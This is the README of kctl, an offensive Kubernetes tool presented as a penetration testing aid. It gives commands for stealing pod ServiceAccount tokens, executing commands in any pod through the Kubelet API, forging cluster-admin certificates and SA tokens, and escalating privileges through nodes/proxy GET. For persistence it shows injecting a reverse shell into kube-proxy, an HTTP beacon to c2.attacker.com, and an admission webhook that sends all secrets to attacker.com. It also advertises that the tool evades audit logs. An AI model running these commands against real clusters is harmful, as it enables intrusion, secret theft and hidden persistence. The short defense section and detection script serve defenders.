kinokopio/kctl
GitHub: kinokopio/kctl
专用于 Kubernetes 安全审计的工具,支持通过 Kubelet API 进行节点操作、横向移动及伪造证书提升权限。
Stars: 14 | Forks: 2
kctl
Kubernetes Security Audit Tool - Penetration Testing & Lateral Movement
Features •
Installation •
Quick Start •
Modes •
Commands •
Golden Ticket •
Persistence •
Attack Scenario •
Defense
## 概述
**kctl** 是一款专为渗透测试设计的 Kubernetes 安全审计工具。它支持两种运行模式:
- **Kubelet 模式** - 直接通过 Kubelet API (10250) 端口进行节点级操作
- **Kubernetes 模式** - API Server (6443) 操作,包括 Golden Ticket 攻击
## 功能
| 功能 | 模式 | 描述 |
|---------|------|-------------|
| `discover` | Kubelet | 扫描网段以查找 Kubelet 端点 |
| `sa scan` | Kubelet | 从所有 Pod 中提取并分析 SA tokens |
| `exec` | Kubelet | 通过 Kubelet API 在任意 Pod 中执行命令 |
| `run` | Kubelet | 通过 /run API 执行命令 |
| `portforward` | Kubelet | 通过 Kubelet API 进行端口转发 |
| `pid2pod` | Kubelet | 将 Linux PIDs 映射到 Pod 元数据 |
| `golden` | Kubernetes | 伪造证书和 SA tokens (Golden Ticket) |
| `persist probe-inject` | Kubernetes | 向 DaemonSets/Deployments 注入 exec probes 以维持持久化 |
| `persist webhook-inject` | Kubernetes | 部署恶意 Admission Webhooks 以维持持久化 |
## 安装
### 下载二进制文件
```
# Linux amd64
curl -LO https://github.com/kinokopio/kctl/releases/latest/download/kctl-linux-amd64
chmod +x kctl-linux-amd64
mv kctl-linux-amd64 /usr/local/bin/kctl
# macOS arm64
curl -LO https://github.com/kinokopio/kctl/releases/latest/download/kctl-darwin-arm64
chmod +x kctl-darwin-arm64
mv kctl-darwin-arm64 /usr/local/bin/kctl
```
### 从源码构建
```
git clone https://github.com/kinokopio/kctl.git
cd kctl
go build -o kctl ./main/main.go
```
## 快速开始
### 基本用法
```
# 进入交互式控制台
./kctl console
# 指定目标
./kctl console -t 10.0.0.1
# 完整连接参数
./kctl console -t 10.0.0.1 -p 10250 --token "eyJ..." --api-server 10.0.0.1 --api-port 6443
# 使用 SOCKS5 代理
./kctl console -t 10.0.0.1 --proxy socks5://127.0.0.1:1080
```
### Pod 内自动检测
当在 Pod 内运行时,kctl 会自动:
1. 检测 Kubelet IP(默认网关)
2. 读取 ServiceAccount token
3. 连接到 Kubelet
4. 检查当前 SA 权限
```
$ ./kctl console
██╗ ██╗ ██████╗████████╗██╗
██║ ██╔╝██╔════╝╚══██╔══╝██║
█████╔╝ ██║ ██║ ██║
██╔═██╗ ██║ ██║ ██║
██║ ██╗╚██████╗ ██║ ███████╗
╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚══════╝
Kubernetes Security Audit Tool
[*] Mode: kubelet (In-Pod)
[*] Kubelet: 10.244.1.1:10250 (auto-detected)
[*] Type 'help' for available commands
[*] Auto-connecting to Kubelet 10.244.1.1:10250...
✓ Connected successfully
[+] Using ServiceAccount: default/attacker
[*] Checking permissions...
[+] Risk Level: CRITICAL
kctl [kubelet:10.244.1.1:10250 default/attacker CRITICAL]>
```
## 模式
kctl 运行在两种模式下,具有不同的命令集:
### Kubelet 模式(默认)
用于在单个节点上进行直接 Kubelet API 操作:
```
kctl [kubelet:10.0.0.1:10250]> help
Available Commands [kubelet]
Connection:
connect Connect to Kubelet
discover Scan network to find Kubelet nodes
Information:
pods List Pods on the node
sa ServiceAccount operations
Execution:
exec Execute command (WebSocket)
run Execute command (/run API)
portforward Port forwarding
pid2pod Map PIDs to Pods
```
### Kubernetes 模式
用于 API Server 操作,包括 Golden Ticket 攻击:
```
kctl [kubelet]> mode kubernetes
[+] Switched to kubernetes mode
kctl [kubernetes:127.0.0.1:6443]> help
Available Commands [kubernetes]
Golden Ticket:
golden Forge certificates and SA tokens
Configuration:
set Set configuration
show Show information
```
使用 `mode kubelet` 或 `mode kubernetes` 切换模式。
## Golden Ticket
Golden Ticket 功能允许伪造 Kubernetes 证书和 ServiceAccount tokens,以便在获取集群 CA 密钥后进行持久化控制。
### 前置条件
要使用 Golden Ticket,你需要访问以下资源:
- **CA 证书和私钥** (`ca.crt`, `ca.key`) - 用于伪造用户/节点证书
- **SA 签名密钥** (`sa.key`) - 用于伪造 ServiceAccount tokens
这些文件通常位于控制平面节点的 `/etc/kubernetes/pki/` 目录下。
### 伪造用户证书 (cluster-admin)
```
# 切换到 kubernetes 模式
kctl> mode kubernetes
# 设置 API Server
kctl [kubernetes]> set api-server 10.0.0.1
kctl [kubernetes]> set api-port 6443
# 伪造 admin 证书
kctl [kubernetes:10.0.0.1:6443]> golden user-cert --ca-cert ca.crt --ca-key ca.key --role system:masters --user admin
[*] Using API Server: https://10.0.0.1:6443
[*] Creating user certificate (system:masters/admin)...
[+] Successfully created user certificate!
Certificate: system-masters_admin.crt
Private key: system-masters_admin.key
Kubeconfig: kubeconfig_system-masters_admin
Test with: kubectl --kubeconfig=kubeconfig_system-masters_admin auth whoami
[*] Identity: admin (role: system:masters)
[*] Expires at: 2027-02-10 16:30:19
```
### 伪造 ServiceAccount Token
```
# 首先,从 API Server 获取 UID 缓存
kctl [kubernetes:10.0.0.1:6443]> golden update-uid --ca-cert ca.crt --ca-key ca.key
[*] Using API Server: https://10.0.0.1:6443
[*] Creating temporary admin certificate...
[*] Requesting ServiceAccount list...
[+] Received 45 ServiceAccounts
[+] UID cache saved to memory
# 列出已缓存的 UID
kctl [kubernetes:10.0.0.1:6443]> golden uid-list
kctl [kubernetes:10.0.0.1:6443]> golden uid-list -n kube-system
# 伪造 token (从内存自动查找 UID)
kctl [kubernetes:10.0.0.1:6443]> golden sa-token --sa-key sa.key --namespace kube-system --name default
[+] Found UID in memory cache: a1b2c3d4-...
[*] Forging ServiceAccount token (TTL: 3600s)...
[+] Forged ServiceAccount token for kube-system/default:
Token: eyJhbGciOiJSUzI1NiIs...
[+] Kubeconfig: kubeconfig_kube-system_default
```
### Golden Ticket 子命令
| 命令 | 描述 |
|---------|-------------|
| `golden user-cert` | 伪造用户证书(例如 cluster-admin) |
| `golden node-cert` | 伪造节点证书(冒充 kubelet) |
| `golden sa-token` | 伪造 ServiceAccount JWT token |
| `golden update-uid` | 从 API Server 获取 SA UIDs 到内存 |
| `golden uid-list` | 列出缓存的 UIDs |
| `golden test` | 验证密钥文件 |
## 持久化
kctl 提供两种持久化机制,用于维持对已攻陷集群的访问:
### Probe 注入
向 DaemonSets 或 Deployments 注入 exec probes,以便在每个节点上定期执行命令。
```
# 交互模式
persist probe-inject
# 直接注入并反弹 shell
persist probe-inject -d kube-system/kube-proxy --payload reverse-bash --host 10.0.0.100 --port 4444
# HTTP beacon
persist probe-inject -d monitoring/node-exporter --payload http-curl --url https://c2.attacker.com/beacon
# 列出带有 exec 探针的工作负载
persist probe-list
# 移除已注入的探针
persist probe-restore
```
**特性:**
- 自动检测容器内的可用工具(sh, bash, curl, nc, python 等)
- 9 种 payload 模板(反向 shell、HTTP beacons、自定义命令)
- 支持 DaemonSet 和 Deployment 工作负载
- Base64 编码以规避检测
- Dry-run 模式用于预览
### 恶意 Admission Webhooks
部署恶意 MutatingWebhooks 以拦截和修改 Kubernetes 资源。
```
# 交互模式
persist webhook-inject
# Secret 渗出 - 窃取所有 secrets
persist webhook-inject -t secret-exfil --exfil-url https://attacker.com/collect
# Pod 后门 - 向所有新 Pod 注入 sidecar
persist webhook-inject -t pod-backdoor --image busybox --command "sh,-c,sleep infinity"
# 外部 webhook 服务器模式(使用自动生成的证书)
persist webhook-inject -t secret-exfil --external-url https://my-server:8443/webhook --cert-dir ./certs
# 列出 webhooks
persist webhook-list
# 移除 webhooks
persist webhook-restore
```
**攻击类型:**
| 类型 | 描述 |
|------|-------------|
| `secret-exfil` | 拦截 Secret 创建/更新并窃取到外部服务器 |
| `pod-backdoor` | 向所有新 Pod 注入恶意 sidecar 容器 |
**部署模式:**
| 模式 | 描述 |
|------|-------------|
| In-cluster (默认) | 在集群内部部署 webhook 服务(约 6MB Go 二进制文件) |
| External URL | 使用外部服务器作为 webhook 端点(证书自动生成) |
### Persist 子命令
| 命令 | 描述 |
|---------|-------------|
| `persist probe-inject` | 向 DaemonSets/Deployments 注入 exec probes |
| `persist probe-list` | 列出带有 exec probes 的工作负载 |
| `persist probe-restore` | 移除已注入的 probes |
| `persist webhook-inject` | 部署恶意 admission webhooks |
| `persist webhook-list` | 列出 webhook 配置 |
| `persist webhook-restore` | 移除已注入的 webhooks |
## 命令
### 通用命令(所有模式)
| 命令 | 描述 |
|---------|-------------|
| `help` | 显示帮助信息 |
| `mode` | 查看或切换操作模式 |
| `set
` | 设置配置 |
| `show options` | 显示当前配置 |
| `show status` | 显示会话状态 |
| `export json/csv` | 导出扫描结果 |
| `clear` | 清除缓存 |
| `exit` | 退出控制台 |
### Kubelet 模式命令
| 命令 | 描述 |
|---------|-------------|
| `discover ` | 扫描网段以查找 Kubelet 节点 |
| `connect [ip]` | 连接到 Kubelet |
| `pods` | 列出节点上的 Pods |
| `sa scan` | 扫描所有 Pod SA tokens |
| `sa list` | 列出已扫描的 ServiceAccounts |
| `sa use ` | 切换到指定的 SA |
| `sa info` | 显示当前 SA 详情 |
| `exec` | 在 Pod 中执行命令 |
| `run` | 在 Pod 中执行命令 (/run API) |
| `portforward` | 端口转发到 Pod |
| `pid2pod` | 将 PIDs 映射到 Pods(仅限 Pod 内) |
### Kubernetes 模式命令
| 命令 | 描述 |
|---------|-------------|
| `golden user-cert` | 伪造用户证书 |
| `golden node-cert` | 伪造节点证书 |
| `golden sa-token` | 伪造 ServiceAccount token |
| `golden update-uid` | 获取 SA UIDs 到内存 |
| `golden uid-list` | 列出缓存的 UIDs |
| `golden test` | 验证密钥文件 |
| `persist probe-inject` | 注入 exec probes 以维持持久化 |
| `persist probe-list` | 列出带有 exec probes 的工作负载 |
| `persist probe-restore` | 移除已注入的 probes |
| `persist webhook-inject` | 部署恶意 webhooks |
| `persist webhook-list` | 列出 webhook 配置 |
| `persist webhook-restore` | 移除已注入的 webhooks |
### 网络发现
```
# 扫描 CIDR 范围
discover 10.0.0.0/24
# 扫描 IP 范围
discover 10.0.0.1-254
# 自定义端口和并发度
discover 10.0.0.0/24 -p 10250,10255 -c 200
# 显示所有开放端口(不仅仅是 Kubelet)
discover 10.0.0.0/24 --all
```
输出示例:
```
[*] Scanning 10.0.0.0/24:10250 (254 targets, 100 concurrent)
[========================================] 100% (254/254)
[*] Validating Kubelet endpoints...
+-------------+-------+------------+
| IP | PORT | HEALTH |
+-------------+-------+------------+
| 10.0.0.1 | 10250 | /healthz |
| 10.0.0.5 | 10250 | /healthz |
+-------------+-------+------------+
[+] Scan complete in 3.2s: 3 open ports, 2 Kubelet nodes
[*] Use 'set target ' to select target
[*] Use 'show kubelets' to view cached results
```
### ServiceAccount 操作
```
# 列出所有 SA(默认)
sa
# 仅列出有风险的 SA
sa list --risky
# 仅列出 cluster-admin
sa list --admin
# 扫描所有 Pod SA token
sa scan
# 选择 SA
sa use kube-system/cluster-admin
# 显示当前 SA 详情
sa info
```
### 命令执行
```
# 交互式 shell (WebSocket)
exec -it nginx-pod
# 在特定 Pod 中执行命令
exec nginx-pod -- cat /etc/passwd
# 在所有 Pod 中执行
exec --all-pods -- whoami
# 使用过滤器执行
exec --all-pods --filter-ns kube-system -- id
# 使用 /run API(更简单,无需 WebSocket)
run nginx-pod --cmd "cat /etc/passwd"
# 在所有 Pod 中运行
run --all-pods --cmd "hostname"
```
### 端口转发
```
# 将本地端口 8080 转发到 Pod 端口 80
portforward nginx-pod 8080:80
# 使用自定义监听地址转发
portforward nginx-pod 8080:80 --address 0.0.0.0
# 停止端口转发
pf stop
```
### PID 到 Pod 映射(仅限 Pod 内)
```
# 显示带有 Pod 信息的所有容器进程
pid2pod
# 查找特定 PID
pid2pod --pid 1234
# 显示所有进程(包括非容器)
pid2pod --all
```
### 典型工作流程(Kubelet 模式)
```
# 1. 扫描网络以发现 Kubelet 节点
kctl [kubelet]> discover 10.0.0.0/24
# 2. 选择目标
kctl [kubelet]> set target 10.0.0.5
# 3. 扫描所有 Pod 上的 SA 权限
kctl [kubelet:10.0.0.5:10250]> sa scan
# 4. 查看高特权 SA
kctl [kubelet:10.0.0.5:10250]> sa list --admin
# 5. 切换到高特权 SA
kctl [kubelet:10.0.0.5:10250]> sa use kube-system/cluster-admin
# 6. 使用新身份执行命令
kctl [kubelet:10.0.0.5:10250 kube-system/cluster-admin ADMIN]> exec -it
```
### 典型工作流程(Golden Ticket)
```
# 1. 切换到 kubernetes 模式
kctl [kubelet]> mode kubernetes
# 2. 设置 API Server
kctl [kubernetes]> set api-server 10.0.0.1
kctl [kubernetes]> set api-port 6443
# 3. 伪造 admin 证书(需要 ca.crt 和 ca.key)
kctl [kubernetes:10.0.0.1:6443]> golden user-cert -c ca.crt -k ca.key --role system:masters
# 4. 测试伪造的证书
$ kubectl --kubeconfig=kubeconfig_system-masters_kubernetes-admin get nodes
# 5. 对于 SA token 伪造,首先获取 UID
kctl [kubernetes:10.0.0.1:6443]> golden update-uid -c ca.crt -k ca.key
# 6. 伪造 SA token(需要 sa.key)
kctl [kubernetes:10.0.0.1:6443]> golden sa-token -s sa.key --namespace kube-system --name default
```
## 攻击场景
### nodes/proxy 权限提升
#### 背景
`nodes/proxy GET` 权限通常被授予监控工具(Prometheus、Datadog、Grafana)用于收集指标。
根据 [Graham Helton 的研究](https://grahamhelton.com/blog/nodes-proxy-rce),由于 Kubelet 在 WebSocket 连接上的授权缺陷,`nodes/proxy GET` 可被用于在任意 Pod 中执行命令。
#### 漏洞机制
1. WebSocket 协议在初始握手时需要 HTTP GET 请求
2. Kubelet 根据初始 HTTP 方法(GET)执行授权检查
3. 授权通过后,WebSocket 连接可以访问 `/exec` 端点以执行命令
4. 这绕过了本应要求的 `nodes/proxy CREATE` 权限
#### 使用 kctl 进行权限提升
##### 场景设置
假设你拥有访问一个 ServiceAccount 具有 `nodes/proxy GET` 权限的 Pod:
```
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: nodes-proxy-reader
rules:
- apiGroups: [""]
resources: ["nodes/proxy"]
verbs: ["get"]
```
##### 步骤 1:进入控制台并检查权限
```
# 复制 kctl 到目标 Pod
kubectl cp kctl-linux-amd64 attacker:/kctl
# 进入 Pod
kubectl exec -it attacker -- /bin/sh
# 运行 kctl
/kctl console
```
```
[*] Auto-connecting to Kubelet 10.244.1.1:10250...
✓ Connected successfully
[+] Using ServiceAccount: default/attacker
[*] Checking permissions...
[+] Risk Level: HIGH
kctl [kubelet:10.244.1.1:10250 default/attacker HIGH]>
```
##### 步骤 2:查看当前权限
```
kctl [kubelet:10.244.1.1:10250 default/attacker HIGH]> sa info
ServiceAccount Information
─────────────────────────────────────────
Name : attacker
Namespace : default
Risk Level : HIGH
Token Status : Valid
Permissions:
- nodes/proxy:get <- Key permission!
- nodes:list
- pods:list
```
##### 步骤 3:扫描节点上的所有 Pods
```
kctl [kubelet:10.244.1.1:10250 default/attacker HIGH]> sa scan
[*] Scanning ServiceAccount tokens...
[*] Found 15 pods with SA tokens
[*] Checking permissions... (3 concurrent)
RISK NAMESPACE POD SERVICE ACCOUNT TOKEN FLAGS
─────────────────────────────────────────────────────────────────────────────────
ADMIN kube-system kube-proxy-xxxxx kube-proxy Valid -
ADMIN kube-system coredns-xxxxx coredns Valid -
HIGH monitoring prometheus-xxxxx prometheus Valid -
...
[+] Scan complete: 15 SAs, 2 ADMIN, 1 CRITICAL, 3 HIGH
```
##### 步骤 4:通过 nodes/proxy 执行命令
由于我们拥有 `nodes/proxy GET` 权限,我们可以通过 Kubelet API 在任意 Pod 中执行命令:
```
kctl [kubelet:10.244.1.1:10250 default/attacker HIGH]> pods
NAMESPACE POD STATUS CONTAINERS
───────────────────────────────────────────────────────────────
kube-system etcd-master Running etcd
kube-system kube-apiserver-master Running kube-apiserver
kube-system kube-proxy-xxxxx Running kube-proxy
default nginx Running nginx
...
```
```
kctl [kubelet:10.244.1.1:10250 default/attacker HIGH]> exec -n kube-system kube-proxy-xxxxx -- cat /var/run/secrets/kubernetes.io/serviceaccount/token
```
这将返回 `kube-proxy` ServiceAccount token,该 token 通常具有 cluster-admin 权限!
##### 步骤 5:切换到高权限身份
```
kctl [kubelet:10.244.1.1:10250 default/attacker HIGH]> sa use kube-system/kube-proxy
[+] Switched to kube-system/kube-proxy
[*] Checking permissions...
[!] Risk Level: ADMIN (cluster-admin)
kctl [kubelet:10.244.1.1:10250 kube-system/kube-proxy ADMIN]>
```
##### 步骤 6:完全控制集群
现在你拥有 cluster-admin 权限,可以使用该 token 完全控制集群。
#### 攻击流程图
```
┌─────────────────────────────────────────────────────────────────┐
│ nodes/proxy GET Privilege Escalation │
└─────────────────────────────────────────────────────────────────┘
┌──────────────┐ ┌──────────────┐ ┌──────────────────────┐
│ Initial │ │ Permission │ │ Lateral Movement │
│ Access │ │ Discovery │ │ │
│ │────>│ │────>│ Execute commands in │
│ Compromised │ │ nodes/proxy │ │ other Pods via │
│ Pod │ │ GET found │ │ Kubelet API │
└──────────────┘ └──────────────┘ └──────────────────────┘
│
v
┌──────────────┐ ┌──────────────┐ ┌──────────────────────┐
│ Full Cluster │ │ Privilege │ │ Token Theft │
│ Control │ │ Escalation │ │ │
│ │<────│ │<────│ Read system Pod │
│ cluster-admin│ │ Use high- │ │ SA tokens │
│ access │ │ priv token │ │ │
└──────────────┘ └──────────────┘ └──────────────────────┘
```
## 风险等级
| 等级 | 描述 | 示例权限 |
|-------|-------------|---------------------|
| ADMIN | 集群管理员 | `*/*`, cluster-admin |
| CRITICAL | 直接权限提升 | `secrets:create`, `pods/exec:create` |
| HIGH | 敏感数据泄露 | `secrets:get`, `nodes/proxy:get` |
| MEDIUM | 潜在滥用 | `pods:create`, `configmaps:get` |
| LOW | 低风险 | `pods:list`, `services:get` |
| NONE | 无风险 | 只读基本权限 |
## 防御
### 建议
1. **避免 nodes/proxy 权限** - 使用 KEP-2862 细粒度权限 (`nodes/metrics`, `nodes/stats`)
2. **网络隔离** - 限制对 Kubelet 端口 (10250) 的访问
3. **审计日志** - 注意:直接的 Kubelet API 访问会绕过 K8s 审计日志
4. **最小权限** - 定期审查 ServiceAccount 权限
### 检测脚本
检查具有 `nodes/proxy` 权限的 ServiceAccounts:
```
kubectl get clusterrolebindings -o json | jq -r '
.items[] |
select(.roleRef.kind == "ClusterRole") |
.metadata.name as $binding |
.roleRef.name as $role |
.subjects[]? |
"\($binding) -> \($role) -> \(.kind)/\(.namespace)/\(.name)"
' | while read line; do
role=$(echo $line | cut -d'>' -f2 | tr -d ' ')
kubectl get clusterrole $role -o json 2>/dev/null | \
jq -e '.rules[] | select(.resources[] | contains("nodes/proxy"))' >/dev/null && \
echo "[!] $line"
done
```
## 免责声明
- 本工具仅用于**授权的安全评估和渗透测试**
- 使用前请确保你拥有适当的授权
- 所有操作均在内存中执行,退出后不留痕迹
- 直接的 Kubelet API 访问**不会被记录**在 Kubernetes 审计日志中
- Golden Ticket 攻击需要预先访问集群 CA/SA 密钥
## 参考资料
- [Kubernetes RCE Via Nodes/Proxy GET Permission](https://grahamhelton.com/blog/nodes-proxy-rce)
- [k8s_spoofilizer - Kubernetes Golden Ticket](https://github.com/jtesta/k8s_spoofilizer)
- [KEP-2862: Fine-Grained Kubelet API Authorization](https://github.com/kubernetes/enhancements/blob/master/keps/sig-node/2862-fine-grained-kubelet-authz/README.md)
- [Kubelet Authentication/Authorization](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/)
## 许可证
[MIT License](LICENSE)标签:Chrome Headless, EVTX分析, Go语言, Kubelet, Kubernetes安全, StruQ, Web截图, 子域名突变, 容器安全, 提权, 攻击模拟, 日志审计, 横向移动, 程序破解, 编程规范, 驱动签名利用